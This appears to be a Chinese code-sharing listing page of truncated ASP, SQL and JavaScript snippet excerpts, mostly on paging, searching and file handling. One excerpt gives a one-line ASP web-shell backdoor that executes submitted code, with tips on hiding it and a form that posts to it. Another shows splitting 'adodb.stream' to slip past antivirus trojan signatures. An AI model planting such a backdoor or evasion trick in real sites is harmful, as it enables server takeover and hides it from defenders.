分页实现方法的性能比较

2017年02月06日 53 阅读

几种常用存储过程分页方法 TopN方法 select Top（@PageSize） from TableName where ID Not IN （Select Top （（@PageIndex-1）*@PageSize） ID from Table Name where .... order by ... ） where .... order by ... 临时表 复制代码 代码如下:declare @indextable table（id int id...

asp ajax跨域提交数据

2017年02月06日 60 阅读

星期五写了个分类信息的小东东！在数据库里只有ip地址,一般访客不太清楚IP地址来源于哪个城市.如果在表里多一个列保存城市又没有真实性可言.如果能把IP地址变成城市多好呀.当然可以去down下数据库.可就为这个需求觉得有点浪费.还好了有好多网站提供查询.如果能把它的结果变成我的.问题解决. 需要一个js函数.当每出来一条记录时,就把ip替换为城市: 复制代码 代码如下:<script type="text/javascript"> functio...

asp修改文件和文件夹的名字的代码

2017年02月06日 88 阅读

修改文件的名字 使用“FileSystemObject（文件系统对象）”的GetFile函数得到一个“文件对象”，然后修改这个“文件对象”的name属性 复制代码 代码如下:set fso=Server.CreateObject（"Scripting.FileSystemObject"） set file=fso.GetFile（Server.MapPath（"/folder/old_name.asp"）） file.name="new_name.asp"...

ASP 多关键词查询实例代码

2017年02月06日 58 阅读

程序代码： 以下为引用的内容： 复制代码 代码如下:"关键字的搜索 str="select * from tableName where id>4" if srhKey<>"" then keyArr=split（srhKey," "） j=UBound（keyArr） t=0 dim keystrArr（） for i=0 to j if keyArr（i）<>"" then redim preserve keystrArr...

asp被杀毒软件误删的解决方法

2017年02月06日 66 阅读

这主要是因为杀毒软件将一些asp关键词当作木马特征，记录保存着，所以遇到有这个关键词，就会禁止运行或删除。解决的方法是将这些关键词给拆开。 把复制代码 代码如下:dim tStream set tStream = Server.CreateObject（"adodb.stream"） 改成复制代码 代码如下:dim tStream set tStream = Server.CreateObject（"ado" & "db.stre" & "am"） 如果杀...

asp 多关键词搜索的简单实现方法

2017年02月06日 51 阅读

假设在搜索框search中输入：“asp 编程” 先得到输入框中的内容：search=request（"search"） 然后将这两个值分别取出来 s=split（search," "） "构造sql函数 sql="select * from news" for i=0 to ubound（s） m=m&" or title=""&s（i）&""" next "在这里会发现得到的m前面多了一个or，所以要去掉 m=right（m,len（m）-3） "将m...

asp 根据IP地址自动判断转向分站的代码

2017年02月06日 58 阅读

Function getIpvalue（clientIP）"得到客户端的IP转换成长整型，返回值getIpvalue On Error Resume Next Dim strIp, array_Ip strIp=0 array_Ip = Split（clientIP,"."） If UBound（array_Ip）<>3 Then getIpvalue=0 Exit Function End If For i=0 To 3 strIp=strI...

asp dictionary对象的用法

2017年02月06日 59 阅读

如果在session级保存一个dictionary对象会降低系统的性能，而在application级保存一个dictionary对象会导致web服务器崩溃，关于这个就不在多说了。 现在我们要考虑的是dictionary对象在单页的时候，有哪些设计时的缺陷： 大家可以这么试试 set rs=server.createobject（"adodb.recordset"） sql="select * from table" rs.open sql,conn,1,3...

ASP 千万级数据分页的存储过程

2017年02月06日 59 阅读

测试语法如下：powered by jb51.netexec GetRecordFromPage news,newsid,10,100000 news 为 表名, newsid 为关键字段, 使用时请先对 newsid 建立索引。复制代码 代码如下:/* 函数名称: GetRecordFromPage 函数功能: 获取指定页的数据 参数说明: @tblName 包含数据的表名 @fldName 关键字段名 @PageSize 每页记录数 @PageInde...

ASP隐藏真实文件的下载功能实现代码

2017年02月06日 61 阅读

格式：Download.asp？FileName=要下载的文件名 复制代码 代码如下:Dim Stream Dim Contents Dim FileName Dim FileExt Const adTypeBinary = 1 FileName = Request.QueryString（"FileName"） if FileName = "" Then Response.Write "无效文件名." Response.End End if " 下面是不...

asp下实现代码的“运行代码”“复制代码”“保存代码”功能源码

2017年02月06日 67 阅读

Function content_Code（Str） dim ary_String,i,n,n_pos ary_String=split（Str,"[ code ]"） n=ubound（ary_String） If n<1 then content_Code=Str Exit function End If for i=1 to n n_pos=inStr（ary_String（i）,"[/ code ]"） If n_pos>0 then ...

JS复制特定内容到粘贴板

2017年02月06日 55 阅读

<script language="javascript"> function readTxt（） { alert（window.clipboardData.getData（"text"））; } function setTxt（） { var t=document.getElementById（"txt"）; t.select（）; window.clipboardData.setData（"text",t.createTextRange（）...

ASP+Access数据库安全设置方法小结

2017年02月06日 63 阅读

1.首先，我们需要过滤所有客户端提交的内容,其中包括？id=N一类,另外还有提交的html代码中的操作数据库的select及asp文件操作语法,大家可以把提交的字符转义,然后再存入数据库。 2.然后需要对访问Access数据库的页面进行授权,针对显示数据页面只能使用select语句,过滤其他的update,asp文件则分为许可访问数据库页面和限制访问页。 3.修改数库据连接文件名conn.asp为类似123ljuvo345l3kj34534v.asp文件。...

ASP生成html的新方法

2017年02月06日 54 阅读

由于代码比较短，这里就不进行注释了复制代码 代码如下:<% "当目标页面的包含文件即#include的页面里边存在response.End（）的时候本程序有问题 "注意：本文件一定要放在20041227111723.htm指向的文件的同一目录下 dim hughchiu_rtcode Function get_exe_code（20041227111723.htm） dim execode dim tmp_str Dim re,re1,content...

ADSI+ASP添加IP到IIS禁止访问列表中

2017年02月06日 59 阅读

复制代码 代码如下:<%@ Language=VBScript %> <% Dim strIP strIP = request（"IP"） %> <FORM action=？ method=post> 输入IP：<input type=text value="<%=strIP%>" style="BORDER: #AAAAAA 1px solid;" name="IP"> <input ty...

ASP Google的translate API代码

2017年02月06日 103 阅读

直接看代码： 复制代码 代码如下:Class GoogleTranslator sub Class_Initialize（） RURI="http://translate.google.com/translate_t？langpair={0}&text={1}" End Sub Private Opt_ " Property Get Opt Opt=Opt_ End Property Property Let Opt（Opt_s） Opt_=Opt_s E...

最小asp后门程序

2017年02月06日 63 阅读

首先在asp文件中写如<%execute request（"value"）%>代码如果想要隐藏，就要加入一些if判断语句，即可然后在本地写个表单 复制代码 代码如下:<form action=http://***.com/jb51.asp method=post> <textarea name=value cols=120 rows=10 width=45> set lP=server.createObject（"Ado...

asp 存储过程分页代码第1/2页

2017年02月06日 58 阅读

存储过程采用的是select top 加 not in的方式完成，速度也算是相当快了 我测试过了百万级数据量一般查询在1秒一下，贴出来大家交流下，看有没有什么好的建议。 简单几句话就可以实现分页功能,请看代码： 最简单使用方法（适用于任何数据表）： test.asp 复制代码 代码如下:<！--#include file="conn.asp"--> <！--#include file="Page.asp"--> <% Set ...

asp xml 缓存类

2017年02月06日 79 阅读

复制代码 代码如下:<% Rem xml缓存类 "-------------------------------------------------------------------- "转载的时候请保留版权信息 "作者:╰⑥月の雨╮ "版本:ver1.0 "本类部分借鉴 walkmanxml数据缓存类，使用更为方便 欢迎各位交流进步 "--------------------------------------------------------...

asp 过滤尖括号内所有内容的正则代码

2017年02月06日 62 阅读

当然这应该属于正常过滤手法，而还有一种过滤HTML标签的最终极手法，则是将一对尖括号及尖括号中的所有字符均替换不显示，该方法对于内容中必须描述有关尖括号内容过滤过头了。 不过，总归是有需要将所有尖括号中内容全部替换的时候，很显然是需要进行正则的，有两种代码，第一种如下： 复制代码 代码如下:Function nohtml（str） dim re Set re=new RegExp re.IgnoreCase =true re.Global=True r...